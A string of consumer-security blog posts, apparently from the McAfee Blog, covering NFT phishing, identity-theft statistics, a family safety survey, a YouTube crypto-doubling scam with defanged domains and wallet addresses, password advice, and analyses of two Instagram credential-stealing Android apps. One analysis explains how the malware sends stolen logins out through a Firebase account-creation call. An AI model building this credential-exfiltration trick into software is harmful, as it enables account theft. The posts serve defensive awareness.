This scam was conducted through the official BAYC account, making it appear legitimate to BAYC’s followers. It is incredibly important to stay vigilant and know how to protect yourself and your assets from scams like these. Follow the tips below to steer clear of phishing scams and keep your digital assets safe:
A seed phrase is the “open sesame” to your cryptocurrency wallet. The string of words is what grants you access to all your wallet’s assets. Ensuring that your seed phrase is stored away safely and not easily accessible by anyone but yourself is the first step to making sure your wallet is secure.
With all transactional and wallet data publicly available, scammers can pick and choose their targets based on who appears to own valuable assets. To protect your privacy and avoid being targeted, refrain from sharing your personal information on social media sites or using your NFT as a social media avatar.
Phishing scams targeting NFT collectors are becoming increasingly common. Be wary of any airdrops offering free tokens in exchange for your information or other “collectors” doing the same.
Phishing scams tend to get more sophisticated over time, especially in cases like the Bored Ape Yacht Club where the malicious links are coming straight from the official account. It is always best to remain skeptical and cautious, but when in doubt, here are some extra tips to spot phishing scams:
As crypto and NFTs continue to take the world by storm, hackers and scammers are constantly on the prowl for ways to steal and deceive. No matter the source or how trustworthy it may seem at first glance, always exercise caution to keep yourself and your assets safe!
The post Instagram Hack Results in $1 Million Loss in NFTs appeared first on McAfee Blog.
There’s a digital counterpart for nearly everything we do, which means more of our personal information is online. And although this tends to make our lives easier, it opens the door for information to land in the wrong hands. Identity theft happens when someone uses your personal identifiable information (PII) for their own monetary or personal gain. Sensitive data like credit card numbers and Social Security numbers can be incredibly valuable if it gets into the wrong hands.
The good news is that you can take steps to minimize the risk of identity theft. This article breaks down some of the most interesting fraud statistics and trends about identity theft in the United States and offers ways to protect your personal data from cybercriminals.
The number of identity theft cases reported to the Federal Trade Commission (FTC) has increased in the last five years. According to the FTC’s Consumer Sentinel Network (CSN) report, the number of reported cases more than doubled from 2019 to 2020.
One possible reason for this upward trend is the coronavirus pandemic. Congress passed legislation that included more than $5 trillion in various government benefits. This money was helpful to out-of-luck Americans, but it was also extremely attractive to scammers who used the opportunity to create fake identities and steal unemployment checks. In fact, the most common type of identity theft this past year was government documents and benefits fraud.
What else do the numbers say about the rise in identity theft? Let’s take a closer look:
These statistics only scratch the surface, though. Keep reading to learn more about the latest identity theft data and what you can do to protect your personal information.
Identity theft is a huge issue in the United States, and it doesn’t seem to be going away anytime soon. Fraud reports show that the number of identity thefts in the U.S. continues to grow and grow. The graph below shows the number of identity theft reports from the first quarter of 2017 to the first quarter of 2021.
The reported instances of identity theft have risen sharply from just over 100,000 in the first quarter of 2017 to well over 500,000 in the first quarter of 2021. 2020 had the sharpest increase in reports, as cybercriminals did their best to capitalize on the pandemic to take people’s government benefits.
Not every state is affected by ID theft equally. Where you live can have a big impact on your likelihood of experiencing identity theft. The graph below shows the amount of identity theft cases reported to the FTC per 100,000 residents for each state in the U.S.
With a closer look, the five states with the most identity theft reports include Georgia, Louisiana, Illinois, Kansas, and Rhode Island, which takes the top spot. The number of reports in Rhode Island more than doubled in 2021, from 1,191 in 2020 to 2,857.
At the other end of the spectrum, South Dakota remained the state with the lowest occurrence of identity theft, with only 76 residents per 100,000 experiencing it.
Here’s a list of the 20 metro cities where you have the highest chance of having your identity stolen.
Anyone can become the victim of identity theft, in large part because so much of our information is online. However, certain age groups are more likely to experience different types of scams.
For example, baby boomers are more likely than Generation Z to benefit from government programs. This makes them more susceptible to scams like benefits fraud (where a criminal poses as someone else to steal government benefits).
On the other hand, younger generations like millennials have grown up with the internet, and activities like shopping online are more frequent. This makes them more susceptible to identity theft through credit card fraud.
Here’s a breakdown of the most common identity theft types from various generations:
There are several different types of identity theft, ranging from stolen financial information to compromised health care data. Some forms are pretty straightforward. For instance, credit card fraud occurs when somebody steals your credit card number and uses it to buy things. Others, like medical identity theft, might be a bit harder to recognize.
Here’s a list of five of the most common types of identity theft:
Although these are five of the most common types of identity theft, they can serve as umbrella terms for more specific forms of fraud. The diagram below shows the number of reported fraud cases of these various types of identity theft In 2021.
While the internet has made our day-to-day lives more convenient, it’s also made it much easier for scammers to steal our personal information. Identity theft has become increasingly more common in the United States over the past five years.
The more you use the internet, the more opportunities scammers have to steal your data and sell it on places like the dark web. Social media platforms, e-commerce businesses, banking companies, and a host of other online businesses can store your information for a variety of reasons.
If you use the internet for online shopping, for instance, there’s a good chance a large number of databases stored your personal and financial data. While businesses use your information to give you a better online experience, scammers can also access it to steal your identity.
The graph below shows the growth of different types of identity theft from 2017 to 2021.
Criminals use many tricks to get your information. Scammers or hackers might send phishing emails pretending to be the IRS, snoop around social media pages for password clues, get info through a data breach, or simply buy information on the dark web.
Here are a few things you can do if you believe you are the victim of identity theft:
The internet makes our lives easier in many ways. Although identity theft is rising, you shouldn’t let online scams prevent you from enjoying these digital conveniences. Identity thieves are an unavoidable part of using the internet, but you can greatly limit your risk of falling victim to cybercrime if you know what to watch out for and you’re smart online.
Recognizing the signs of identity theft can help you stay ahead of fraudsters, and investing in McAfee Identity Protection services can offer another layer of protection. When you sign up for our identity protection services, you get perks like $1 million in identity theft protection insurance and email address and bank account monitoring. With our help, you can continue to use the internet with confidence.
The post A Guide to Identity Theft Statistics for 2022 appeared first on McAfee Blog.
Hands down, children look to their parents to keep them safe online more than anyone else, which begs the question—what’s a parent to do?
Our recent study on connected families found that nearly three-quarters of children said their parents were best suited to teach them about staying safe online, nearly twice than teachers at school (39%) and more than twice over for online resources (34%). Parents recognize their role as a protector online as well, with an overwhelming 90% of parents worldwide agreeing that they’re the primary source.
However, our study also found that parents could be taking more steps to protect themselves online, let alone taking steps for their children. In fact, when looking at how parents protect themselves and then if they protect their children the same way, a distinct gap appears.
Figures that were already low for relatively straightforward and relatively easily employed safety measures drop yet lower for children—such as installing antivirus software, protecting the computer with a password, or sticking to reputable online stores when shopping.
For example, on computers and laptops, note the 11% drop in antivirus usage, the 14% drop in device password/passcode protection, and the 9% drop in regular updates to the operation system.
This trend continues when the study looked at mobile device protection for parents and children. The numbers were similarly low, and sometimes lower than the rate of protection on PCs and laptops. For example, while 56% of parents said that they protect their child’s smartphone with a password or passcode, only 42% said they do the same for their child’s smartphone—a further 14% drop.
Across the board, parents reported protecting a child’s smartphone to a lesser degree than they protect a child’s computer or laptop—notably when it comes to installing antivirus on phones, to a figure of 19% less (57% to 38%).
What’s striking about this is how tweens and teens access the internet today. Our report found that 74% of them said that their smartphone was their most important device (followed by their gaming console at 68%). Moreover, the rate at which they use their smartphones indicates that these devices are their primary onramp to the internet. By ages 15 to 16, some 90% of children worldwide report using a smartphone.
Given these findings, two important points stand out for parents:
Misconceptions about online protection may play a role in these lax measures. Two additional findings may indicate why this is:
Both perceptions deny the reality that smartphones, and the people using them, are subject to hacks and attacks just like with any other device that connects to the internet. As such, smartphones call for protection too.
So, what’s a parent to do? They can take a few basic actions that will go a long way toward safeguarding themselves and their families online:
It used to be that we could load antivirus on our devices and go on our way with confidence. That’s not the case anymore. While antivirus is still a cornerstone of protection, it’s just a part of overall online protection. Comprehensive online protection software protects more than your computer or smartphone, it protects you.
For example, ours offers all-in-one protection for your personal info and privacy for peace of mind against data breaches—along with further features that can remove your data from some of the riskiest data broker sites that are selling it online. Other features include an online protection score that shows you just how strong your security is, along with simple guidance that can help seal up any gaps.
In all, online protection is the place to start when looking after yourself and your family online, whether that’s on a computer, laptop, or phone—with particular emphasis on phones, given the way parents and children alike rely on them so strongly.
Identity theft can affect anyone, even the youngest of children. Our study found that 15% of children experienced attempted account theft, while 28% of parents reported it happening to them. An identity protection service like ours can monitor your family’s accounts and personal info for unauthorized or suspicious activity—and help you restore a compromised identity with the help of a pro.
In and above using online protection software, there’s also the security of your devices to consider too. After all, devices can get lost or stolen. Take steps to protect your devices by ensuring they’re locked with a PIN or other protection like facial recognition. For your apps, use two-factor authentication wherever possible for extra protection should your device end up in someone else’s hands.
Similarly, you can take steps to protect your online accounts by using strong, unique passwords for each one. That means no repeats. This makes it far more difficult for hackers to compromise multiple accounts, such that if one password is compromised in a data breach, any potential damage is limited to just that one account in question.
Taking care of that yourself can be a lot of work, given all the accounts you likely have accounts across all the shopping and banking, not to mention your apps. It gets even more involved when you add all your children’s accounts into the mix. Yet there’s good news, a password manager can do all the work by creating and storing strong, unique passwords for you.
Updating your operating systems and apps can keep you current with the latest features and enhancements, and help you keep one step ahead of hackers as well. Many updates to operating systems and apps include security fixes and enhancements, which can keep bad actors from taking advantage of any exploits or loopholes on your devices. Many devices and apps make it easy with an auto-update feature. If any of yours offer auto-updating, take advantage.
Completely aside from software, apps, and updates, another way to keep your kids safe online is through conversation. When talking with them about their day, weave in a few questions about what’s happening online. What are their favorite games and apps right now? What shows are they watching? Is there a funny post or video they want to share?
Questions like these, simple as they are, can make talking about their life online seem more normal—the ups and downs of it alike—and provide you with opportunities that will help you foster strong decision-making skills that they can carry into adulthood.
With our study uncovering a clear gap in protection, parents can rest assured they can close it with a few relatively straightforward steps, making everyone in the household safer than before.
This was just one of several findings from our global report on connected families. Others include noteworthy differences across nations, such as which nations report the highest levels of cyberbullying and which nation has nearly 100% of its young children saying they use a smartphone regularly. Yet more findings reveal insights into screen time, video game usage, and a breakdown of the top online activities for teens—and many more ways families are growing up together through their lives online.
Again, what’s a parent to do in light of all this?
Our blog is a great place to start. It offers parents and families a terrific resource when they have questions about life online, along with further resources about online protection that simply make for good reading. Our aim is to help you get thinking about what’s best for your family and the steps you can take to see it through, all so that you can make everyone’s time online safer and more enjoyable.
The post What’s a Parent to Do? Closing the Protection Gap between You and Your Children. appeared first on McAfee Blog.
How do parents and children connect and protect themselves online? We spoke with thousands of them around the world to find out.
In December 2021 we conducted a study about beliefs and behaviors about life online among members of connected families—as individuals and as a family unit. Parents and children were surveyed together, with parents answering first and then bringing their children in to consent and answer, leading to findings that represent connected families across 10 different nations.
Through this study, we uncovered universal beliefs about online protection, along with several nuances, all of which pinpointed several tensions between parents and children when it comes to staying safe while enjoying life online.
Four broader topics presented themselves through this study, with each topic presenting several follow-on findings. Here, we’ll take a look at each topic and touch on a few of the several findings found within each, followed by a link where you can download the full report with its complete set of insights and trends.
While our tweens and tweens seem to grow into adults right before our eyes, their lives online mature into adulthood as well—thanks in large part to their mobile devices.
Our study found that children between 15 and 16 years old see their mobile usage jump significantly, so much so that it approaches levels that they will carry into adulthood. Yet their connected lives start much earlier, with smartphones and mobile devices leading the way online. The result is that most tweens and young teens today have access to the expansive internet in the palm of their hand, which exposes them to the broader internet full of apps, chats, entertainment, and social media—along with the benefits and risks nearly right away.
As far as the risks are concerned, tweens and young teens reported on their experience with cyberbullying, account theft, and unauthorized use of their personal data. Here it appears that several children were exposed to these risks at an early age.
While these experiences start early with 10–14-year-olds, exposure to online risks only increase as teens get older. By age 17 to 18, reports of cyberbullying increase to 18%, attempted theft of an online account to 16%, and unauthorized use of personal data to 14%.
As far as life online is concerned, children look to their parents to keep them safe. While parents accept that role, our study found that they appear to have difficulty in following through.
Children said that their parents are best suited to teach them about being safe online, making them the clear winners across all categories. Nearly three-quarters of children pointed to parents, nearly twice than teachers at school (39%) and more than twice over for online resources (34%).
Looking at the reasons for that response more closely, 63% tweens and teens worldwide felt that their parents know enough to protect their security and privacy. This figure was higher for younger children (65%) and then decreased as they reached their late teens (55%). As noted earlier, an increasing number of children in their late teens have experienced online risks at this point, perhaps leading to less confidence that their parents indeed have the knowledge to keep them safe.
Parents recognize their role as protectors online, just as they recognize their responsibility to protect their children in the broader world. An overwhelming 90% of parents worldwide agreed with this sentiment. Like their children, parents felt that teachers at school played a role as well at 36%. However, their second top response was internet providers, weighing in at 41%.
Yet while parents say they view themselves as protectors, there’s a gap between intent and effort. On PCs and laptops, parents reported the online protection measures they took for themselves, which appear relatively low given the availability and ease of use with such measures—like installing antivirus software (68%), protecting the computer with a password (58%), or sticking to reputable online stores when shopping (50%).
These figures drop yet lower when asked if they took similar precautions for their children. Thus, as parents protect themselves at a low rate, they protect their children at a rate that’s yet even lower.
Moreover, when it came to protection on smartphones, the numbers were similarly low, and often lower than the rate of protection on PCs and laptops. For example, while 56% of parents said that they protect their smartphone with a password or passcode, only 42% said they do the same for their child’s smartphone—a further 14% drop.
It’s no secret that teens and tweens may hide their activities online. In fact, they’ve said as much.
Our research found that more than half of children (59%) take some action to hide what they’re up to online. When asked for details, tweens and teens mentioned the following:
As children grow older, these privacy-keeping activities only increase, particularly when it comes to clearing browser history and using incognito mode in their browser.
Likewise, it appears that it’s no secret children are speaking privately with people they don’t know online. When asked if they believe their children are having conversations without knowing a person’s real identity, 34% of parents said yes. As for children, 37% said yes, marking a 3% difference in awareness between parents and children.
Broken down by age bracket, 36% of children from ages 10 to 14 say they’re having these conversations, which jumps up to 41% at ages 15 to 16. Later, from ages 17 to 18, that figure drops to 39%.
Parents in our study said that they take different measures for boys and girls when it comes to protecting them online. An apparent gender bias finds girls more protected than boys, yet it is boys who encounter more issues online.
Keeping tabs of a child’s safety online takes many forms, some involving apps and software on a child’s device, others that require parents to take a more active hand.
As for safety on devices, parental controls software provides one method for monitoring online activity, with features that keep an eye on children’s activity, limit screen time, and that block and filter certain apps and websites.
Parental controls software appears to remain a popular option. On PCs and laptops, 33% of parents reported using it. On mobile devices, the figure held at 33% as well.
Further, parents said that they relied on other approaches to help keep their children safe, citing several other ways they oversee their children’s time online. For example, in the case of monitoring activity on their child’s mobile device, parents say they will:
However, accounting for age and gender, differences in the use of parental controls arise. Girls in their tweens and early teens see more protection from parental controls software than boys do.
For example, girls 10-14 were more likely than boys of the same age to have parental controls on PCs on laptops in every country surveyed (except Canada), and on mobile in every country (except Germany).
This trend extends to several of the more hands-on approaches, with girls seeing them applied more often than boys. For example, in the U.S.:
Based on reports from boys, they are more likely to experience a range of online threats more frequently than girls do—with issues ranging from attempted account theft, a financial information leak, and unauthorized use of their personal data.
Meanwhile, it is girls who are adopting online activities at a rate much faster than boys, at least on mobile. Girls aged 10 to 14 tend to stream music, use social media, and go online shopping more than boys their age.
In all, girls report that they are reaping the benefits of online life earlier than boys and with relatively fewer security issues. Meanwhile, for boys, that equation is flipped. Their online lives mature more slowly, yet they find themselves experiencing security issues more often.
We’ve seen just how young children are when they reach maturity, at least in terms of their lives online.
By their mid-teens, they’re using computers, laptops, and smartphones at rates that will carry into adulthood. With that, they’re already experiencing some of the risks and issues that adults do, such as attempted account theft, improper use of data, and leaks of financial information.
These represent a few of the many insights and trends found in our complete report on connected families. Others include noteworthy differences across nations, such as which nations report the highest levels of cyberbullying and which nation has nearly 100% of its young children saying they use a smartphone regularly. Yet more findings reveal insights into screen time, video game usage, and a breakdown of the top online activities for teens—and many more ways families are growing up together through their lives online.
Click here for a full copy of the report.
In December 2021 McAfee LLC conducted a study about beliefs and behaviors around digital participation and online protection among members of connected families—as individuals and as a family unit.
Global survey of parents and children, with children answering alongside their parents.
Parents and children were surveyed together, with parents answering first and then bringing their children in to consent and answer.
These findings represent connected families not collections of individuals.
The post Life Behind the Screens of Parents, Tweens, and Teens: McAfee’s Connected Family Study appeared first on McAfee Blog.
By Oliver Devane
Editors note: In the past 24 hours (from time of publication) McAfee has identified 15 more scam sites bringing the total to 26. The combined value of the wallets shared on these sites is over $1,300,000 which is an increase of roughly $1,000,000 since this blog was last published. This highlights the scale of this current scam campaign. The table within this blog has been updated to include the new sites and crypto-wallets.
McAfee has identified several Youtube channels which were live-streaming a modified version of a live stream called ‘The B Word’ where Elon Musk, Cathie Wood, and Jack Dorsey discuss various aspects of cryptocurrency.
The modified live streams make the original video smaller and put a frame around it advertising malicious sites that it claims will double the amount of cryptocurrency you send them. As the topic of the video is on cryptocurrency it adds some legitimacy to the websites being advertised.
The original video is shown below on the left and a modified one which includes a reference to a scam site is shown on the right.
We identified several different streams occurring at a similar same time. The images of some are shown below:
The YouTube streams advertised several sites which shared a similar theme. They claim to send cryptocurrency worth double the value which they’ve received. For example, if you send 1BTC you will receive 2BTC in return. One of the site‘s frequently asked questions (FAQ) is shown below:
Here are some more examples of the scam sites we discovered:
The sites attempt to trick the visitors into thinking that others are sending cryptocurrency to it by showing a table with recent transactions. This is fake and is generated by JavaScript which creates random crypto wallets and amounts and then adds these to the table.
The wallets associated with the malicious sites have received a large number of transactions with a combined value of $280,000 as of 5 PM UTC on the 5th of May 2022
Scam Site | Crypto Type | Wallet | Value as on 5PM UTC 5th May 2022 |
22ark-invest[.]org | ETH | 0x820a78D8e0518fcE090A9D16297924dB7941FD4f | $25,726.46 |
22ark-invest[.]org | BTC | 1Q3r1TzwCwQbd1dZzVM9mdFKPALFNmt2WE | $29,863.78 |
2xEther[.]com | ETH | 0x5081d1eC9a1624711061C75dB9438f207823E694 | $2,748.50 |
2x-musk[.]net | ETH | 0x18E860308309f2Ab23b5ab861087cBd0b65d250A | $10,409.13 |
2x-musk[.]net | BTC | 17XfgcHCfpyYMFdtAWYX2QcksA77GnbHN9 | $4,779.47 |
arkinvest22[.]net | ETH | 0x2605dF183743587594A3DBC5D99F12BB4F19ac74 | $11,810.57 |
arkinvest22[.]net | BTC | 1GLRZZHK2fRrywVUEF83UkqafNV3GnBLha | $5,976.80 |
doublecrypto22[.]com | ETH | 0x12357A8e2e6B36dd6D98A2aed874D39c960eC174 | $0.00 |
doublecrypto22[.]com | BTC | 1NKajgogVrRYQjJEQY2BcvZmGn4bXyEqdY | $0.00 |
elonnew[.]com | ETH | 0xAC9275b867DAb0650432429c73509A9d156922Dd | $0.00 |
elonnew[.]com | BTC | 1DU2H3dWXbUA9mKWuZjbqqHuGfed7JyqXu | $0.00 |
elontoday[.]org | ETH | 0xBD73d147970BcbccdDe3Dd9340827b679e70d9d4 | $18,442.96 |
elontoday[.]org | BTC | bc1qas66cgckep3lrkdrav7gy8xvn7cg4fh4d7gmw5 | $0.00 |
Teslabtc22[.]com | ETH | 0x9B857C44C500eAf7fAfE9ed1af31523d84CB5bB0 | $27,386.69 |
Teslabtc22[.]com | BTC | 18wJeJiu4MxDT2Ts8XJS665vsstiSv6CNK | $17,609.62 |
tesla-eth[.]org | ETH | 0x436F1f89c00f546bFEf42F8C8d964f1206140c64 | $5,841.84 |
tesla-eth[.]org | BTC | 1CHRtrHVB74y8Za39X16qxPGZQ12JHG6TW | $132.22 |
teslaswell[.]com | ETH | 0x7007Fa3e7dB99686D337C87982a07Baf165a3C1D | $9.43 |
teslaswell[.]com | BTC | bc1qdjma5kjqlf7l6fcug097s9mgukelmtdf6nm20v | $0.00 |
twittergive[.]net | ETH | 0xB8e257C18BbEC93A596438171e7E1E77d18671E5 | $25,918.90 |
twittergive[.]net | BTC | 1EX3dG9GUNVxoz6yiPqqoYMQw6SwQUpa4T | $99,123.42 |
Scammers have been using social media sites such as Twitter and Youtube to attempt to trick users into parting ways with their cryptocurrency for the past few years. McAfee urges its customers to be vigilant and if something sounds too good to be true then it is most likely not legitimate.
Our customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor
Type | Value | Product | Blocked |
URL – Crypto Scam | twittergive[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | tesla-eth[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 22ark-invest[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2xEther[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | Teslabtc22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | elontoday[.]org | McAfee WebAdvisor | YES |
URL – Crypto Scam | elonnew[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | teslaswell[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | 2x-musk[.]net | McAfee WebAdvisor | YES |
URL – Crypto Scam | doublecrypto22[.]com | McAfee WebAdvisor | YES |
URL – Crypto Scam | arkinvest22[.]net | McAfee WebAdvisor | YES |
The post Crypto Scammers Exploit: Elon Musk Speaks on Cryptocurrency appeared first on McAfee Blog.
Passwords: we entrust our most important data to these strings of letters, numbers, and special characters. So, we should make sure our passwords are words or phrases that we can easily remember, right? While this might be the most convenient option, there are more secure ways to digitally lock up your most sensitive personally identifiable information (PII). In celebration of World Password Day, we’re diving into how you can practice top-notch password security without compromising convenience.1
Over the years, the password has remained a good first line of defense against cyberattacks. However, most of us tend to choose passwords based on memorable things from our lives, like family names or our pets’ birthdays. As it turns out, these details are easy for hackers to find on social media sites like Facebook or LinkedIn. It’s also human nature to opt for convenience, and for many people that means setting easy-to-remember and easy-to-guess passwords. Plus, out of convenience, people often reuse passwords across multiple accounts and services. The downside is that if one account becomes compromised, all accounts become compromised.
As an alternative to single-word passwords, many security experts advocate for passphrases over passwords. Passphrases are longer strings of words and characters that are easier for you to remember and harder for nefarious software and cybercriminals to guess than random strings of upper and lowercase letters, numbers and symbols. But, according to a study, the average American internet user was projected to have 300 online accounts by 2022.2 Can you imagine memorizing 300 different passphrases? We can all agree that sounds pretty unrealistic, so users tend to look for other solutions.
If the answer is yes, you may want to reconsider, as there are several risks associated with this practice. Although it’s convenient to have your browser save your passwords, they tend to do a lousy job of safeguarding your passwords, credit card numbers and personal details, such as your name and address.
Let’s take Google Chrome, for example. Unlike most dedicated password managers, Chrome doesn’t use a primary password to encrypt all your credentials. (Note that some browsers do use one, and are therefore more secure, though you’ll still need to trust your browser provider.) This makes your Chrome-stored passwords relatively weak to “local” attacks. For example, if someone gets hold of—or guesses—your Windows password, they can then see all the logins stored in your browser’s password manager.
Another consideration to note is that the security of all your accounts is tied to your browser account’s security. Let’s say you use the sync option to make your credentials available on all your devices. This means that logins are stored in the cloud and, though encrypted, if someone manages to hack into your browser account, they will gain access to all your logins.
What can you do to help ensure your online profiles are kept safe without spending hours managing a complex list of passwords? Here are some easy ways to lock down your digital life without sacrificing convenience:
A password manager is a software application that stores your passwords and other sensitive information. You can install it on computers or mobile devices and store all passwords in an encrypted file (or database). The best option is to use a password manager like McAfee True Key to store and create strong, random passwords for each site you visit. You’ll have one primary password that grants access to the rest of them—ideally, a long and random passphrase that you can remember. Once everything is set up, it should be seamless. As you log in to new sites, the password manager will offer to save your credentials for later use.
One of the best ways to protect your accounts against unauthorized access is to turn on two-factor authentication for every site that offers it. Using two-factor authentication means a site will prompt you for a unique security code, in addition to your password, whenever you log in to an account for which you have enabled this feature.
Two-factor authentication adds an extra layer of security by requiring another form of identification after you enter your username and password. Some services send a temporary passcode over a text message. Others require the user to approve login attempts from new devices using an app. If someone steals your device or gains access to your account details, they’re out of luck unless they also have access to this second piece of information. Two-factor authentication is available on a wide range of websites and can help keep your accounts safe from would-be hackers, so you should always use it when available.
A VPN, or virtual private network, encrypts your data and masks your online behavior from snooping third parties. When you go to a website, your computer connects to the server where the site is hosted, and that website can see a certain amount of data about you and your computer. With a VPN, you connect to a private server first, which scrambles your data and makes it more difficult for digital eavesdroppers to track what you’re doing online.
VPNs can provide users with greater peace of mind when on the go. Say you’re traveling on a business trip and need to connect to the Wi-Fi network provided by your hotel. Shifty characters often lurk on unprotected, free networks (such as those provided by hotels, coffee shops, airports, etc.) to lift PII from people handling sensitive emails, making banking transactions, or shopping online. encrypts your online activity with bank-grade encryption to protect your data from prying eyes. With a premium paid plan, you can protect up to five devices at once and enjoy unlimited data protection.
With your growing number of accounts all requiring passwords—emails, social media profiles, online banking—it’s no wonder that people tend to reuse passwords across multiple sites. This may be convenient, but it creates significant security risks if a suspicious actor manages to obtain one of your passwords and attempts to use it elsewhere. That’s why having strong passwords matters.
Do yourself a favor and opt for a dedicated password manager that will auto-save and store your credentials for you, so you only have one password to remember. Who says security and simplicity can’t coexist?
The post This World Password Day, Here’s How a Password Manager Can Simplify Your Life appeared first on McAfee Blog.
Imagine – your favorite brand on Instagram just announced a giveaway. You’ll receive a free gift! All you have to do is provide your credit card information. Sounds easy, right? This is a brand you’ve followed and trusted for a while now. You’ve engaged with them and even purchased some of their items. The link comes directly from their official page, so you don’t think to question it.
This is the same mindset that led to several Bored Ape Yacht Club (BAYC) NFTs being stolen by a cybercriminal who had hacked into the company’s official Instagram account. Let’s dive into the details of this scam.
Bored Ape Yacht Club, the NFT collection, disclosed through Twitter that their Instagram account had been hacked, and advised users not to click on any links or link their crypto wallets to anything. The hacker managed to log into the account and post a phishing link promoting an “airdrop,” or a free token giveaway, to users who connected their MetaMask wallets. Those who linked their wallets before BAYC’s warning lost a combined amount of over $1 million in NFTs.
Despite the large price tag attached to NFTs, they are often held in smartphone wallets rather than more secure alternatives. MetaMask, the crypto wallet application, only allows NFT display through mobile devices and encourages users to use the smartphone app to manage them. While it may be a good method for display purposes, this limitation provides hackers with a new and effective way to easily steal from users’ mobile wallets.
BAYC does not yet know how the hacker was able to gain access to their Instagram account, but they are following security best practices and actively working to contact the users affected.
This scam was conducted through the official BAYC account, making it appear legitimate to BAYC’s followers. It is incredibly important to stay vigilant and know how to protect yourself and your assets from scams like these. Follow the tips below to steer clear of phishing scams and keep your digital assets safe:
A seed phrase is the “open sesame” to your cryptocurrency wallet. The string of words is what grants you access to all your wallet’s assets. Ensuring that your seed phrase is stored away safely and not easily accessible by anyone but yourself is the first step to making sure your wallet is secure.
With all transactional and wallet data publicly available, scammers can pick and choose their targets based on who appears to own valuable assets. To protect your privacy and avoid being targeted, refrain from sharing your personal information on social media sites or using your NFT as a social media avatar.
Phishing scams targeting NFT collectors are becoming increasingly common. Be wary of any airdrops offering free tokens in exchange for your information or other “collectors” doing the same.
Phishing scams tend to get more sophisticated over time, especially in cases like the Bored Ape Yacht Club where the malicious links are coming straight from the official account. It is always best to remain skeptical and cautious, but when in doubt, here are some extra tips to spot phishing scams:
As crypto and NFTs continue to take the world by storm, hackers and scammers are constantly on the prowl for ways to steal and deceive. No matter the source or how trustworthy it may seem at first glance, always exercise caution to keep yourself and your assets safe!
The post Instagram Hack Results in $1 Million Loss in NFTs appeared first on McAfee Blog.
Authored by Dexter Shin
McAfee’s Mobile Research Team introduced a new Android malware targeting Instagram users who want to increase their followers or likes in the last post. As we researched more about this threat, we found another malware type that uses different technical methods to steal user’s credentials. The target is users who are not satisfied with the default functions provided by Instagram. Various Instagram modification application already exists for those users on the Internet. The new malware we found pretends to be a popular mod app and steals Instagram credentials.
Instander is one of the famous Instagram modification applications available for Android devices to help Instagram users access extra helpful features. The mod app supports uploading high-quality images and downloading posted photos and videos.
The initial screens of this malware and Instander are similar, as shown below.
Figure 1. Instander legitimate app(left) and Mmalware(right)
Next, this malware requests account(username or email) and password. Finally, this malware displays an error message regardless of whether the login information is correct.
Figure 2. Malware requests account and password
The malware steals the user’s username and password in a very unique way. The main trick is to use the Firebase API. First, the user input value is combined with l@gmail.com. This value and static password(=kamalw20051) are then sent via the Firebase API, createUserWithEmailAndPassword. And next, the password process is the same. After receiving the user’s account and password input, this malware will request it twice.
Figure 3. Main method to use Firebase API
Since we cannot see the dashboard of the malware author, we tested it using the same API. As a result, we checked the user input value in plain text on the dashboard.
Figure 4. Firebase dashboard built for testing
According to the Firebase document, createUserWithEmailAndPassword API is to create a new user account associated with the specified email address and password. Because the first parameter is defined as email patterns, the malware author uses the above code to create email patterns regardless of user input values.
It is an API for creating accounts in the Firebase so that the administrator can check the account name in the Firebase dashboard. The victim’s account and password have been requested as Firebase account name, so it should be seen as plain text without hashing or masking.
As an interesting point on the network traffic of the malware, this malware communicates with the Firebase server in Protobuf format in the network. The initial configuration of this Firebase API uses the JSON format. Although the Protobuf format is readable enough, it can be assumed that this malware author intentionally attempts to obfuscate the network traffic through the additional settings. Also, the domain used for data transfer(=www.googleapis.com) is managed by Google. Because it is a domain that is too common and not dangerous, many network filtering and firewall solutions do not detect it.
As mentioned, users should always be careful about installing 3rd party apps. Aside from the types of malware we’ve introduced so far, attackers are trying to steal users’ credentials in a variety of ways. Therefore, you should employ security software on your mobile devices and always keep up to date.
Fortunately, McAfee Mobile Security is able to detect this as Android/InstaStealer and protect you from similar threats. For more information visit McAfee Mobile Security
SHA256:
The post Instagram Credentials Stealer: Disguised as Mod App appeared first on McAfee Blog.
Authored by Dexter Shin
Instagram has become a platform with over a billion monthly active users. Many of Instagram’s users are looking to increase their follower numbers, as this has become a symbol of a person’s popularity. Instagram’s large user base has not gone unnoticed to cybercriminals. McAfee’s Mobile Research Team recently found new Android malware disguised in an app to increase Instagram followers
You can easily find apps on the internet that increase the number of Instagram followers. Some of these apps require both a user account and a password. Other types of apps only need the user to input their user account. But are these apps safe to use?
Figure 1. Suspicious apps in Google Images
Many YouTubers explain how to use these apps with tutorial videos. They log into the app with their own account and show that the number of followers is increasing. Among the many videos, the domain that appears repeatedly was identified
The way the domain introduces is very simple.
Figure 2. A screenshot to increase the number of followers by entering in 20 followers.
When you run the function, you can see that the number of followers increases every few seconds.
Figure 3. New follower notifications appear in the feed.
Some Telegram channels are promoting YouTube videos with domain links to the malware.
Figure 4. Message being promoted on Telegram
We have also observed a video from a famous YouTuber with over 190,000 subscribers promoting a malicious app. However, in the video, we found some concerning comments with people complaining that their credentials were being stolen.
Figure 5. Many people complain that their Instagram accounts are being compromised
We analyzed the application that is being promoted by the domain. The hidden malware does not require many permissions and therefore does not appear to be harmful. When users launch the app, they can only see the below website via the Android Webview.
Figure 6. Redirect to malicious website via Android Webview
After inspecting the app, we observe the initial code does not contain many features. After showing an advertisement, it will immediately show the malicious website. Malicious activities are performed at the website’s backend rather than within the Android app.
Figure 7. Simple 2 lines of initial code
The website says that your transactions are carried out using the Instagram API system with your username and password. It is secure because they use the user’s credentials via Instagram’s official server, not their remote server.
Contrary to many people’s expectations, we received abnormal login attempts from Turkey a few minutes after using the app. The device logged into the account was not an Instagram server but a personal device model of Huawei as LON-L29
Figure 8. Abnormal login attempt notification
As shown above, they don’t use an Instagram API. In addition, as you request followers, the number of the following also increases. In other words, the credentials you provided are used to increase the number of followers of other requesters. Everyone who uses this app has a relationship with each other. Moreover, they will store and use your credentials in their database without your acknowledgment.
